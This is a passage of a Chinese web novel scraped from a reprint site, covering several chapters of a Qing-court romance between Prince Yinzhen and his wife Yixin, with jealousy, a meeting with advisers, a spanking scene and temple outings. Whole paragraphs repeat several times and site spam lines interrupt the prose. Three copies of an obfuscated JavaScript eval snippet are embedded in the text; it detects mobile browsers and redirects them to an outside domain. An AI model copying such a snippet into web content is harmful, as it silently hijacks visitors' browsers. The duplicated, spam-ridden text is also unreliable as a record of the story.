胤禛粗喘,唇边晶莹绯红似胭脂点缀,“无妨,本王都记得。” 仪欣这就放心了,主动缠上他的脖颈,采蜜似的探入他的薄唇。 “想要吗,乖乖?” “想…王爷…” “重一点,凶一点也想要吗?” 仪欣鹌鹑似的半晌又溢出个“想”字。 胤禛逗她愉悦极了,笑得胸膛震颤,掐着她的腰肢把人提到身上,“嗯?想数银票还是想要王爷?” “想要王爷…” 四目相对,胤禛的长睫轻轻眨了两下,轻笑道,“仪欣可真识货。” 仪欣纳闷想问王爷是什么货,下一秒便被堵住了樱唇,她微微仰头,迎合他的动作,撒娇让王爷抱到床榻上。 没有做到最后。 * 次日清晨。 仪欣猫儿似的趴在胤禛身上,指挥着他给自己揉揉腰,捏捏胳膊,胤禛闭着眼复盘昨日给她留了什么功课,替她恰到好处揉捏着腰肢。 “王爷,我今天不想起床。” “不可能。”胤禛没有犹豫,“再躺一会儿,起来读书。” 仪欣动动脑袋,便是同意。 苏培盛在门口放声说:“王爷,万岁爷派人来了。” “又来了又来了。”仪欣不屑嘟囔,能不能让王爷好好休息。 胤禛笑笑,拍一下她的脑门,漫不经心对苏培盛说:“本王抱恙,不见客,打发走吧。” 苏培盛面色古怪,又提醒一句,“王爷,是钮祜禄氏的……” 胤禛唇角抿平。 半个时辰后。 胤禛穿着一身幽蓝色**袍,腕间戴着佛珠,淡漠平静走进前院花厅,见到了钮祜禄朔齐,果然是芝兰玉树,一副好样貌。 “朔齐?”胤禛一撩衣袍坐到上首。 花厅中少年略有惊诧,款款拱手行礼,“奴才朔齐给雍亲王请安。” 朔齐刚入国子监,尚未有官职,面对爱新觉罗氏的亲王,只能暂称奴才。 胤禛抬腕,笑了笑,“不必,自称我。” 朔齐沉默一瞬,恭敬重新行礼,他似乎知道万岁爷为何派他来游说雍亲王回京了。 因为,小九。 小九。 不能因为他见不得人的心思牵连了小九。 朔齐后退了两步,恭敬跪下,大大方方说自己也纯属无妄之灾,不敢置喙四爷决定,不愿多留,只如实向万岁爷回禀王爷抱恙。 胤禛沉默,示意他可以离开。 午膳时。 胤禛给仪欣拆螃蟹,他心绪不宁,需要做一些细致的事情来打磨自己,但是,蟹子寒凉,她不宜吃太多。 他拆了很多只蟹,只分给仪欣小小一碟,他的面前一大碗蟹肉还冒着尖。 仪欣高超试探一下,“王爷,哪个是我的?” 胤禛眼神一扫,扬扬下巴,仪欣目瞪口呆把那一小碟端到自己面前。 仪欣嘟嘟囔囔骂得很脏。 “你嘀咕什么呢?”胤禛淡淡眯了眯眼。 仪欣慌不择路,弯唇笑问:“我刚刚问,今天来别庄的人是谁呀。” 胤禛沉默,问她做什么呢?真是不应该,但是,他也不至于糊弄她。 “朔齐。” “欸?是他呀?”仪欣讶异,真的好巧哇。 胤禛察觉到她眸色中的欣然,弯唇笑问:“他是谁?” “王爷,你记性可真不好,他是阿灵阿舅舅的嫡次子,我额娘之前打算将我嫁回钮祜禄氏,估计选的就是他吧。” 苏培盛和晴云膝盖一软,互相扶着才没有跪下去。 苏培盛:福晋天天净说这让人**的话。 胤禛笑笑,拍一下她的脑门,漫不经心对苏培盛说:“本王抱恙,不见客,打发走吧。” 苏培盛面色古怪,又提醒一句,“王爷,是钮祜禄氏的……” 胤禛唇角抿平。 半个时辰后。 胤禛穿着一身幽蓝色**袍,腕间戴着佛珠,淡漠平静走进前院花厅,见到了钮祜禄朔齐,果然是芝兰玉树,一副好样貌。 “朔齐?”胤禛一撩衣袍坐到上首。 花厅中少年略有惊诧,款款拱手行礼,“奴才朔齐给雍亲王请安。” 朔齐刚入国子监,尚未有官职,面对爱新觉罗氏的亲王,只能暂称奴才。 胤禛抬腕,笑了笑,“不必,自称我。” 朔齐沉默一瞬,恭敬重新行礼,他似乎知道万岁爷为何派他来游说雍亲王回京了。 因为,小九。 小九。 不能因为他见不得人的心思牵连了小九。 朔齐后退了两步,恭敬跪下,大大方方说自己也纯属无妄之灾,不敢置喙四爷决定,不愿多留,只如实向万岁爷回禀王爷抱恙。 胤禛沉默,示意他可以离开。 午膳时。 胤禛给仪欣拆螃蟹,他心绪不宁,需要做一些细致的事情来打磨自己,但是,蟹子寒凉,她不宜吃太多。 他拆了很多只蟹,只分给仪欣小小一碟,他的面前一大碗蟹肉还冒着尖。 仪欣高超试探一下,“王爷,哪个是我的?” 胤禛眼神一扫,扬扬下巴,仪欣目瞪口呆把那一小碟端到自己面前。 仪欣嘟嘟囔囔骂得很脏。 “你嘀咕什么呢?”胤禛淡淡眯了眯眼。 仪欣慌不择路,弯唇笑问:“我刚刚问,今天来别庄的人是谁呀。” 胤禛沉默,问她做什么呢?真是不应该,但是,他也不至于糊弄她。 “朔齐。” “欸?是他呀?”仪欣讶异,真的好巧哇。 胤禛察觉到她眸色中的欣然,弯唇笑问:“他是谁?” “王爷,你记性可真不好,他是阿灵阿舅舅的嫡次子,我额娘之前打算将我嫁回钮祜禄氏,估计选的就是他吧。” 苏培盛和晴云膝盖一软,互相扶着才没有跪下去。 苏培盛:福晋天天净说这让人**的话。 胤禛笑笑,拍一下她的脑门,漫不经心对苏培盛说:“本王抱恙,不见客,打发走吧。” 苏培盛面色古怪,又提醒一句,“王爷,是钮祜禄氏的……” 胤禛唇角抿平。 半个时辰后。 胤禛穿着一身幽蓝色**袍,腕间戴着佛珠,淡漠平静走进前院花厅,见到了钮祜禄朔齐,果然是芝兰玉树,一副好样貌。 “朔齐?”胤禛一撩衣袍坐到上首。 花厅中少年略有惊诧,款款拱手行礼,“奴才朔齐给雍亲王请安。” 朔齐刚入国子监,尚未有官职,面对爱新觉罗氏的亲王,只能暂称奴才。 胤禛抬腕,笑了笑,“不必,自称我。” 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胤禛穿着一身幽蓝色**袍,腕间戴着佛珠,淡漠平静走进前院花厅,见到了钮祜禄朔齐,果然是芝兰玉树,一副好样貌。 “朔齐?”胤禛一撩衣袍坐到上首。 花厅中少年略有惊诧,款款拱手行礼,“奴才朔齐给雍亲王请安。” 朔齐刚入国子监,尚未有官职,面对爱新觉罗氏的亲王,只能暂称奴才。 胤禛抬腕,笑了笑,“不必,自称我。” 朔齐沉默一瞬,恭敬重新行礼,他似乎知道万岁爷为何派他来游说雍亲王回京了。 因为,小九。 小九。 不能因为他见不得人的心思牵连了小九。 朔齐后退了两步,恭敬跪下,大大方方说自己也纯属无妄之灾,不敢置喙四爷决定,不愿多留,只如实向万岁爷回禀王爷抱恙。 胤禛沉默,示意他可以离开。 午膳时。 胤禛给仪欣拆螃蟹,他心绪不宁,需要做一些细致的事情来打磨自己,但是,蟹子寒凉,她不宜吃太多。 他拆了很多只蟹,只分给仪欣小小一碟,他的面前一大碗蟹肉还冒着尖。 仪欣高超试探一下,“王爷,哪个是我的?” 胤禛眼神一扫,扬扬下巴,仪欣目瞪口呆把那一小碟端到自己面前。 仪欣嘟嘟囔囔骂得很脏。 “你嘀咕什么呢?”胤禛淡淡眯了眯眼。 仪欣慌不择路,弯唇笑问:“我刚刚问,今天来别庄的人是谁呀。” 胤禛沉默,问她做什么呢?真是不应该,但是,他也不至于糊弄她。 “朔齐。” “欸?是他呀?”仪欣讶异,真的好巧哇。 胤禛察觉到她眸色中的欣然,弯唇笑问:“他是谁?” “王爷,你记性可真不好,他是阿灵阿舅舅的嫡次子,我额娘之前打算将我嫁回钮祜禄氏,估计选的就是他吧。” 苏培盛和晴云膝盖一软,互相扶着才没有跪下去。 苏培盛:福晋天天净说这让人**的话。 胤禛笑笑,拍一下她的脑门,漫不经心对苏培盛说:“本王抱恙,不见客,打发走吧。” 苏培盛面色古怪,又提醒一句,“王爷,是钮祜禄氏的……” 胤禛唇角抿平。 半个时辰后。 胤禛穿着一身幽蓝色**袍,腕间戴着佛珠,淡漠平静走进前院花厅,见到了钮祜禄朔齐,果然是芝兰玉树,一副好样貌。 “朔齐?”胤禛一撩衣袍坐到上首。 花厅中少年略有惊诧,款款拱手行礼,“奴才朔齐给雍亲王请安。” 朔齐刚入国子监,尚未有官职,面对爱新觉罗氏的亲王,只能暂称奴才。 胤禛抬腕,笑了笑,“不必,自称我。” 朔齐沉默一瞬,恭敬重新行礼,他似乎知道万岁爷为何派他来游说雍亲王回京了。 因为,小九。 小九。 不能因为他见不得人的心思牵连了小九。 朔齐后退了两步,恭敬跪下,大大方方说自己也纯属无妄之灾,不敢置喙四爷决定,不愿多留,只如实向万岁爷回禀王爷抱恙。 胤禛沉默,示意他可以离开。 午膳时。 胤禛给仪欣拆螃蟹,他心绪不宁,需要做一些细致的事情来打磨自己,但是,蟹子寒凉,她不宜吃太多。 他拆了很多只蟹,只分给仪欣小小一碟,他的面前一大碗蟹肉还冒着尖。 仪欣高超试探一下,“王爷,哪个是我的?” 胤禛眼神一扫,扬扬下巴,仪欣目瞪口呆把那一小碟端到自己面前。 仪欣嘟嘟囔囔骂得很脏。 “你嘀咕什么呢?”胤禛淡淡眯了眯眼。 仪欣慌不择路,弯唇笑问:“我刚刚问,今天来别庄的人是谁呀。” 胤禛沉默,问她做什么呢?真是不应该,但是,他也不至于糊弄她。 “朔齐。” “欸?是他呀?”仪欣讶异,真的好巧哇。 胤禛察觉到她眸色中的欣然,弯唇笑问:“他是谁?” “王爷,你记性可真不好,他是阿灵阿舅舅的嫡次子,我额娘之前打算将我嫁回钮祜禄氏,估计选的就是他吧。” 苏培盛和晴云膝盖一软,互相扶着才没有跪下去。 苏培盛:福晋天天净说这让人**的话。 胤禛笑笑,拍一下她的脑门,漫不经心对苏培盛说:“本王抱恙,不见客,打发走吧。” 苏培盛面色古怪,又提醒一句,“王爷,是钮祜禄氏的……” 胤禛唇角抿平。 半个时辰后。 胤禛穿着一身幽蓝色**袍,腕间戴着佛珠,淡漠平静走进前院花厅,见到了钮祜禄朔齐,果然是芝兰玉树,一副好样貌。 “朔齐?”胤禛一撩衣袍坐到上首。 花厅中少年略有惊诧,款款拱手行礼,“奴才朔齐给雍亲王请安。” 朔齐刚入国子监,尚未有官职,面对爱新觉罗氏的亲王,只能暂称奴才。 胤禛抬腕,笑了笑,“不必,自称我。” 朔齐沉默一瞬,恭敬重新行礼,他似乎知道万岁爷为何派他来游说雍亲王回京了。 因为,小九。 小九。 不能因为他见不得人的心思牵连了小九。 朔齐后退了两步,恭敬跪下,大大方方说自己也纯属无妄之灾,不敢置喙四爷决定,不愿多留,只如实向万岁爷回禀王爷抱恙。 胤禛沉默,示意他可以离开。 午膳时。 胤禛给仪欣拆螃蟹,他心绪不宁,需要做一些细致的事情来打磨自己,但是,蟹子寒凉,她不宜吃太多。 他拆了很多只蟹,只分给仪欣小小一碟,他的面前一大碗蟹肉还冒着尖。 仪欣高超试探一下,“王爷,哪个是我的?” 胤禛眼神一扫,扬扬下巴,仪欣目瞪口呆把那一小碟端到自己面前。 仪欣嘟嘟囔囔骂得很脏。 “你嘀咕什么呢?”胤禛淡淡眯了眯眼。 仪欣慌不择路,弯唇笑问:“我刚刚问,今天来别庄的人是谁呀。” 胤禛沉默,问她做什么呢?真是不应该,但是,他也不至于糊弄她。 “朔齐。” “欸?是他呀?”仪欣讶异,真的好巧哇。 胤禛察觉到她眸色中的欣然,弯唇笑问:“他是谁?” “王爷,你记性可真不好,他是阿灵阿舅舅的嫡次子,我额娘之前打算将我嫁回钮祜禄氏,估计选的就是他吧。” 苏培盛和晴云膝盖一软,互相扶着才没有跪下去。 苏培盛:福晋天天净说这让人**的话。 第130章书房见谋士 胤禛轻笑一下,把仪欣面前可怜的一小碟蟹肉也收回来,自顾自吃光,又低头轻笑,起身离开。 苏培盛赶紧跟上,朝晴云挤眉弄眼。 仪欣琢磨一顿饭,抬头呐呐问晴云,“王爷是不是生气了?” 书房。 胤禛立在桌案前沉默练字,苏培盛低着头伺候笔墨,大气不敢出,两指捏着墨条,一圈圈打着转儿。 惊鸿跳虎,落下一个大字。 ——静 接下来,又是许许多多个。 静不下来。 她太气人了,笨坏了。 “若是不会磨墨就换个奴才伺候。”胤禛淡淡道。 “奴才会,奴才会。”苏培盛袖口拭汗,救命。 “召谋臣议事。”胤禛甩了甩佛珠,看着苏培盛谨小慎微的样子颇为不快。 这是极其难熬的两个半时辰,从前胤禛便是这般处理政事,议事两三个时辰是常有的事情。 但是自福晋过门,议事时辰便骤然缩短。 由俭入奢易,由奢返俭难。 谋士已然有些难捱,有些人都坐不住了,毕竟议事不是唠嗑,胤禛压迫感很重,沉稳矜贵坐在上首,他们都要正襟危坐,绞尽脑汁。 邬思道严肃说,“王爷,隆科多大人如今已是穷途末路,赶狗入穷巷,物极必反,奴才看来,是时候收网了。” 另一位谋臣拧眉:“不可,奴才觉得,还要细细商量。” “是,若是道义方面…” “毕竟还有情谊………” 你一言我一语,眼见就要吵起来,胤禛一言不发,看不出心中所想,苏培盛急得如同热锅上的蚂蚁。 福晋,福晋,救命啊。 “本王若是想听吵架斗嘴,不如去菜市场,养着你们做什么?解闷吗?”胤禛漫不经心问,“总归不过三两可能,来回来去嚼不烂分析什么呢?” 众谋臣起身告罪,王爷向来和缓,今日怕是他们让王爷失望了吧。 胤禛轻笑,并不叫起。 他对隆科多的人品性情不待见,倒是欣赏隆科多的能力,如今佟佳氏一直要走下坡路。 他费这么大劲,就是要勒死隆科多效忠他。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 至于隆科多的心意,他根本不在意,他们吵吵嚷嚷提什么情谊道义,让他心烦。 “佟佳氏的利益都系于本王一人,本王管他情谊做什么?他是不是心甘情愿,重要吗?” “王爷所言极是。”邬思道笑道。 月华洒空阶,书房外夜幕降临,胤禛眸色幽深,察觉怒气消散些,又缓了一会儿,任由他们轻声复盘。 小良子恭敬进来,哈腰请示。 “王爷,福晋在偏殿,给您和诸位先生准备了一些茶点,不知可要传膳?” 胤禛沉声问:“福晋何时到的?” “约莫有一个时辰了,福晋见王爷和各位先生在议事,便没有打扰,只在偏殿查账。” 胤禛微微蹙眉,“上茶点,先休息。” 说完,起身离开。 众谋臣这才喘口气,看着福晋准备的精致茶点,心里感动万分。 晴云适时走进来,微笑着自袖袋里拿出软绵绵的荷包塞到在坐谋臣手里,温婉大方悠悠施礼。 “福晋请各位先生喝茶,多谢诸位先生为王爷和王府殚精竭虑,奴婢代福晋道一句辛苦。” “不敢。” “多谢福晋。” “奴才份内之事,多谢福晋。” 一冰一火。 承受了王爷这一下午的威仪压迫,如今福晋的挂怀便如温泉水一般。 茶点用得差不多时,胤禛和仪欣相携进入书房。 众谋士见到仪欣一惊,赶忙正衣冠,起身拱手行礼。 胤禛站在仪欣身侧,很满意他们的态度。 “诸位先生免礼。”仪欣微微点头示意,眉眼弯弯,一派礼贤下士的模样。 这是仪欣第一次在他们面前正式露面。 她穿着一身雪青色绣并蒂荷花的旗装,戴着点翠珠宝五凤钿,明艳端方,气度雍容华贵。 胤禛和仪欣携手坐到主位。 谋士并非伺候人的奴才,若是胤禛一朝登基,他们便是从龙之功,朝堂上最核心的帝王亲信。 因而,他们也并非处处拘谨。 众人隐隐以邬思道为首。 邬思道笑着道谢,“奴才多谢福晋准备的茶点。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320573|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多收获哦 他起了个头,众人也此起彼伏道谢,气氛甚是和缓。 仪欣微扬下巴,眉眼含笑,亲和而又不失气度,对上这些朝政浸淫多年的老油条也不卑不怯,甚至不差分毫关怀了几句他们家中妻女和母亲。 特别是邬思道,他的妻子卧床多年,仪欣温声问起,险些潸然泪下。 仪欣久病成医,也算通晓药理,恰到好处提了几种名贵药材送给邬思道。 胤禛在一旁反倒百无聊赖,摆弄着自己的佛珠,漫不经心套到仪欣手腕上,把玩似的转了转。 几道呼吸齐齐一滞。 半刻钟后,谋臣告退。 胤禛视线扫着身侧娇憨温软的人儿,纳闷问,“这不是挺聪明的吗?” 何时何地,仪欣都拿得出手,外人面前,言语得当,举止大方,刚刚她提起邬思道妻子卧病在床之事,他亦心中称妙。 怎么就是不开窍,偏偏气他? “王爷,我本来就很聪明好不好?” 仪欣笑眯眯凑近胤禛,挽着他的胳膊,试探道,“王爷,你是不是生气啦?” “没有。” “不信。”仪欣弯了弯眼睛,推了他一把,“王爷,你先用膳。” 仪欣拉着胤禛往书房内室走,心疼他也太忙碌了,她朝晴云招了招手,晴云打开食盒将膳食摆在矮案上。 青菜老鸭汤,燕窝肥鸭丝,香茅乳鸽,东阿阿胶炖羊肉,芦笋元贝,夜合虾仁,珊瑚白菜,浓汤菜心,蟹肉双笋丝,雪蓉酥,凤尾烧麦,竹笙鸡丝花胶羹…… 反正都是胤禛爱吃的。 胤禛垂眸,掐了掐她的脸。 仪欣弯唇笑,蹭了蹭他的手心。 没过多久,仪欣就确定,王爷肯定是生气了,因为,他竟然剩饭了???? “王爷,你是不是生气了?” 这句话,仪欣从晚膳后问到入睡前。 此时,仪欣穿着肉粉色寝衣,有恃无恐躺在胤禛的腿上,对他撒娇卖乖,如同早春待盛开的桃花花苞。 只是,这嘴喋喋不休,叽里咕噜乱说话,又是一连串朔齐。 说只是吃过朔齐的小点心,她还吃过很多人送的小点心呢。 又说只是跟朔齐一起在富察氏学堂开蒙,没说过几句话。 第131章挨罚挨罚挨罚。 又说和三个兄长逛灯会时偶遇过朔齐,当时都已经不认识了,多亏他猜中灯谜,给她赢了一个兔儿灯。 又说又说又说。 胤禛黑着脸看完的那些资料,仪欣又绘声绘色朗读一遍。 倒不是仪欣记性好,只是她幼时很少很少出门,仅有几次经历不免如数家珍。 “王爷,还有…仪欣思索。 胤禛忍无可忍,不甚温柔将躺在他腿上的人儿翻个面,仪欣紧张兮兮扭着头,就看到胤禛抬起的手。 仪欣大惊,慌乱抱住头,企图撒娇蒙混过关,巴掌落到了屁股上。 “啊!王爷,你揍我的屁股啊? “可能有点疼,小乖忍一下吧。胤禛淡声道。 “王爷…!别别别… 胤禛随意揉了揉她的屁股,将她的寝衣揉得皱皱巴巴,又是一巴掌。 觉得心里不太痛快,直接粗暴褪了她的寝衣,手下留着力道,却也没有要停的意思,就淡淡看着她的屁股越来越红。 “疼,好疼!手下留情,啊! 仪欣羞耻得胡言乱语,眼前模糊翻起浓浓的水雾,不知是疼的还是恼的。 她长这么大,还从来没有人揍过她的屁股。 “别鬼哭狼嚎的,仿佛本王**你似的。胤禛垂眸一只手掐着她的腰,巴掌落下也没有迟疑。 仪欣挣脱不开,双手抓着胤禛的胳膊,紧张兮兮还能感受到屁股酥酥麻麻的疼痛感。 “王爷王爷,我要生气了,我也要生气了,别打了!啊! “嗯,生气吧,本王打完再哄。 胤禛粗暴摘了佛珠扔到一边,揉了揉她绯红的屁股,掐着她的腰继续拍下去。 “王爷,你肯定不疼我了。 “仪欣也没见得多疼本王。胤禛扯唇,“哭吧,哭大点声,把本王那一份也哭出来。 “呜呜呜…我疼王爷。仪欣哭着反驳。 胤禛停下来,身子如狩猎的豹子般微微后仰,喘着粗/气,眯着眼看她哭得梨花带雨爬下床榻。 仪欣站在寝殿中央,捂着屁股虎视眈眈看着他,漂亮的眼睛委屈巴巴垂着,半晌哽咽着也没说出话来。 缓了半晌,胤禛 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 起身弯下腰,又觉得不得劲,缓缓蹲在她面前,仰着头看她,抬手温柔拭去她的眼泪。 仪欣委屈得哐唧扑到他身上,嗷嗷就是哭。 胤禛没想到她撞上来,一个踉跄倒在地上,先护住了她的脑袋。 盈寸之间,胤禛躺在地上闷吭一声,仪欣呆呆愣愣趴在胤禛身上,慢慢抬起脑袋,先发制人,“王爷,我屁股疼!” 胤禛无奈,揉了揉她的屁股,闷闷笑着问:“有没有这么疼?” “有,太疼了。”仪欣把眼泪都拱到他的寝衣上,睚眦必报用牙磨他的喉结,又咬他的胸膛。 胤禛无所施为,就任劳任怨替她揉屁股,还抽空看了看她的屁股不够红,又抬手玩笑般补了一巴掌。 “王爷抱我去床上哄。” “嗯,好,去床上哄。”胤禛亲亲她的脸蛋。 仪欣娇慵趴在他的腿上,视死如归又不怕死补充几句,“王爷要是不解气,还不如再打几巴掌,反正我也不怕疼。” 胤禛挑眉,“嗯?本王为什么要生气?” “因为王爷泡醋缸里了。”仪欣暗戳戳嘀咕,“特别大的一个醋缸!” 胤禛垂眸,坦荡“嗯”一声。 “本王不喜欢你说什么嫁给别人的事,又想不出什么让你长记性的办法。” 这让他觉得,若不是一时兴起泼到马齐膝头那一盏茶,他就没有富察仪欣了。 这种命运极致的阴差阳错感,他不想去复盘,他喜欢运筹帷幄,喜欢精巧算计,巧合和幸运赠予的东西,他不觉得庆幸,只觉得有些惶恐。 没出息。 胤禛笑自己。 仪欣倏地坐起来,瘪着嘴又忍不住弯了弯眼睛,微微扬了扬下巴,她的声音如同潺潺清渠浸润着木讷的山间岩石,为那枯燥的灰白锲而不舍镀一层生机勃勃的青苔。 她小声说:“可是,谁能比得上王爷呢?” 短短十个字,胤禛被哄好了。 哄好了。 胤禛似乎有些生病,将脑袋枕在她软绵绵的小腹上,随意笑了,“只有仪欣拿你家王爷当块宝了。” 他的话有些哀伤讽刺,仪欣没有察觉,因为她绞尽脑汁都在想怎么讨回来,想着想着其实…很困。 “王爷,我现在困了, 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 但是,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胤禛不悦抬头,“所以让你别告诉福晋。” 苏培盛缄默:王爷也天天净说这让人**的话。 第132章高门贵女千金小姐和她的冷峻侍卫 胤禛身体不错,所谓急火攻心病了几日,也幽幽康复,又能陪仪欣一同读书同寝。 为了哄她,胤禛安排好一切,偷偷摸摸带仪欣爬了一趟香山。 仪欣身体弱,却很向往游山玩水,俗称人菜但瘾大,她到山脚下没走几步就已经气喘吁吁,眼巴巴看着胤禛。 胤禛把仪欣背到了山顶,他的脊背如高山般宽阔可靠,他不觉得她重,只听着她在他的背上咕哝咕哝的说话,便觉得心旷神怡,温暖幸福。 仪欣登上山顶很是兴奋,欢喜说这是她人生第一次登上山顶。 胤禛将花环轻轻搭在她的脑袋上,弯唇笑着看她,“记录仪欣第一次爬山。 火红的枫叶肆意垂落在微风里,如同小扇子一般扫在她的额前。 仪欣踮脚替他擦了擦额头的汗水,罕见心虚道:“可是都是王爷背我爬上来的啦,算不得数。 胤禛懒洋洋倚着一棵树,若有所指道:“那又如何?这世上本来就是互相倚仗互相托举,朝臣不乏倚仗本王才能升迁立足,他们难道就算是独立吗?那我心甘情愿让我的妻子依靠。 太多人靠吸他的血过活。 可是,他们总是大言不惭夸耀他们的独立。 仪欣弯了弯眼睛,理直气壮说:“王爷,你在赋闲,哪有什么人倚仗呢?我只是爬山依靠王爷,王爷不喜朝堂,我会努力把王爷养的很好。 王爷不喜朝堂。 胤禛低头笑出声来,清润的笑声里含着慵懒低沉。 “是啊,多谢福晋养着本王了。 仪欣确实称得上生财有道,她的酥阁经营的极好,手下的良田林庄均是盈余不菲。 之后两个人又偷偷摸摸去了一趟甘露寺,主要是仪欣上次求了一包袱平安符,她该还愿的。 仪欣穿着汉家女子服饰,穿水蓝色的披风和温婉清润的月华裙,梳着未成亲女儿家的发髻,微微散落的发丝垂在肩后,与未出阁的姑娘一般无二。 她未成亲前没出过几次门,对于这副装扮特别新奇,跟胤禛撒娇一下,顺理成章这般。 胤禛只有一个要求——要牵着手。 那日是****秋雨。 美人配伞简直别具一番风味。 胤禛牵着她的手替她撑着油纸伞,雨水 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 自水墨画的油纸伞上乌润润落下。 仪欣恼他打伞倾斜得太厉害,甩开他的手,独自撑着伞,让苏培盛替胤禛撑着伞。 胤禛无奈,只跟在她的身后。 朦胧烟雨中,她的伞珠帘轻晃,发丝与雨珠一起垂落,执伞的手腕上松松挂着碧绿色的佛珠,伞下的一个抬眸便能让人手足无措。 他就有些少年般的手足无措。 仪欣处处是引人注意的,自然有很多人看她。 只是,他们的目光若是落在仪欣的身后,便会惺惺收回。 心里不由得腹诽道,究竟是哪位高官汉臣家娇养的小姐,竟是有这样一位威仪矜贵的侍卫。 胤禛似乎看懂他们的心思,轻轻哂笑。 “仪欣。 “嗯? 胤禛上前两步替她撑着伞,微微倾斜她的伞面,挡住她的脸,俯身在她的唇角落下一吻。 仪欣瞪圆了眼睛,左顾右盼发现伞后人群熙攘,她咬牙掐一把他的腰,严肃警告道,“佛门重地,岂能胡来?佛祖不保佑怎么办? 胤禛疏狂不羁弯唇笑,“本王的妻子,本王自会保佑,暂且无需佛祖代劳。 “仪欣,这点雨不碍事,我来替你撑伞吧。 胤禛将手里多余的伞扔给苏培盛,替仪欣裹了裹披风,撑着她的油纸伞将她搂在怀里。 两个人,一个矜贵沉稳,一个婉约绝色。 只不过胤禛穿得不显山不露水,仪欣穿戴却是处处精致名贵,连指尖染的蔻丹都恰如其分宣示着她的娇养。 伞下步伐一致,向着佛堂大殿不紧不慢地走。 路人瞧见了只觉得般配中带着冲破世俗偏见的矛盾感。 好似…高门贵女千金小姐和冷峻侍卫此行在佛前求得来生,入夜便要趁秋雨红拂夜奔,冲破世俗偏见。 胤禛若是知道他们的想法,定是要把他们的脑袋拧下来。 “王爷,你信佛,我怎么从来没见你跪过佛堂。仪欣轻声问。 胤禛笑笑,“本王不跪神佛,只是心中有佛罢了。 信佛之人不跪佛,跪的是什么呢? 微微提着月华裙,仪欣款款走到佛堂内,胤禛环顾四周。 甘露寺知道他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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平静不了多久了,他常常绝望地想,若是,早点遇到仪欣,早点过这么幸福的日子,他是不是就不会这般贪恋权势。 第133章太子风雪来访 皇家似乎是没办法以平常心对待权势的尤其是他这个位置;他不娇掩对权力的渴求只是偶尔也被那种过度的贪婪反噬有些身心俱疲。 胤禛自顾自喝一杯酒抱紧仪欣低头埋在她的颈窝里。 仪欣嗫嚅着唇期待小声说:“王爷我也想喝一点。” “好。”胤禛给她倒一点。 仪欣欢喜弯了弯眼睛两只手捧着酒盏啄饮一小口觉得颇为甜腻咕咚一饮而尽当即就被辣出了眼泪雾蒙蒙看着胤禛。 胤禛觉得她怎么样都像是在索吻捏着她的下巴亲上去。 “王爷辣…” “没事乖乖亲一会儿就不辣了。”胤禛抬起头来看着她绯红娇憨的脸又吻下去。 “真的吗?” “真的放松。”胤禛和她对视。 “唔……”仪欣胳膊挂到他的脖颈上“要王爷抱抱。” 胤禛低笑手臂揽着她的腰另一只手托着她的脸拇指漫不经心安抚她的颈间动脉。 仪欣缓了神轻嗅胤禛身上的酒气围炉煮酒冒着咕噜咕噜的泡泡她眼眸微转笑着指了指酒壶。 胤禛无奈继续给她倒上。 “我可以喝醉吗?” “可以总归只有我和你仪欣体验一下也无妨。”胤禛纵容捏了捏她的脸觉得很好捏又掐一把。 仪欣鼓了鼓腮帮子跟他敬酒“王爷我敬你谢谢王爷和我一起堆了第一个雪人。” 胤禛挑眉轻笑抬一下她的杯盏稍低些碰了一下。 见仪欣沾了沾唇胤禛一饮而尽又给自己斟满。 “这一杯敬王爷给我折梅花。”仪欣兴奋碰他的杯盏。 胤禛弯唇 仪欣沾了沾唇胤禛一饮而尽。 胤禛从未想过某一天她还能做陪他饮酒的小伙伴他喜欢喝酒她就也跟着浅尝他喝她就陪着又契合又奇妙的感觉。 “这杯敬王爷……” “……” 过一会儿胤禛觉得不对劲轻哼道:“你就指望着拿杯里那点酒把本王灌醉吗?” “是你想喝醉还是你想让本王喝醉呢?” 你的朋友正在书荒,快去帮帮他吧 被发现了? 仪欣撂下杯盏意思意思示意他给她满上酒“哎呀王爷你赶紧喝。” 胤禛扶住她的杯盏搂紧她琢磨着问一句:“什么时候喝醉好呢?” 他得控制点分寸装得像一点。 * 深更半夜别庄有客造访苏培盛赶忙来请胤禛只说太子爷深夜前来。 仪欣被苏培盛惊动有些茫然撑着身子坐起来想到王爷喝醉了酒还贴心拍了拍他的背却听到他清润低哑的声音。 “仪欣睡一会儿我去见太子。” “这么晚了太子来干什么?”仪欣抱着他的腰贴了贴他的额头“王爷喝得太多了头痛不痛?” “不疼仪欣睡吧我一会儿便回来。” 胤禛亲一口她的额头自梨花架上拿了衣裳穿戴起来。 书房。 太子一袭黑色**袍面露不虞斜倚在仪欣平日看账本的软榻上见胤禛来了讽刺笑笑漫不经心起身“孤可要恭喜四弟了。” 胤禛冷淡不悦开口:“太子爷深夜前来何喜之有?” 太子见他冷脸的模样更是讽刺笑站起身来不知哪里摸出一把**抵在胤禛的心头。 “王爷…” “太子爷…” 